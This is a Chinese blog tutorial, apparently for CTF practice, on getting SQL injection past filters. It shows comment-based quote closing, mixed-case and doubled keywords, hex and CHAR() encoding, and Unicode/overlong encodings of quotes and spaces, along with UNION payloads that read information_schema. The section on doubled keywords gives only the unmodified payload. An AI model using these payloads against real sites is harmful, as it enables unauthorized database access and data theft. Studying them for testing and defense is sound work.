SQL注入绕过姿势
SQL注入绕过姿势
0x01 对于SQL查询的基础语句
先看一看正常的登录语句
1 | select * from ctf where username='$username' and password='$password'; |
如果单引号被过滤的时候,将前面username中的'
进行注释,尝试与password中的'
拼接。
常用的注释符:
1)– 注释内容
2)# 注释内容
3)/*
注释内容*/
例如:union select 1,2#
这样子构造的闭合就是:1' union select 1,2#
0x02 针对waf正则对大小写不敏感的情况
使用大小写绕过:
1 | 1' uNiOn seLeCt 1,2,3# |
0x03关键字被过滤,需要双写绕过
当部分关键字被过滤,例如union
,select
,information
等关键字被过滤的时候,可以尝试双写绕过
原本的payload:
1 | 1' union select 1,2# |
0x04特殊编码绕过
1)十六进制绕过
1 | UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B |
2)ascii编码绕过
1 | Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116) |
3)Unicode编码
常用的几个符号的一些Unicode编码:
单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
- 本文标题:SQL注入绕过姿势
- 创建时间:2021-11-30 21:29:58
- 本文链接:2021/11/30/SQL注入绕过姿势/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
评论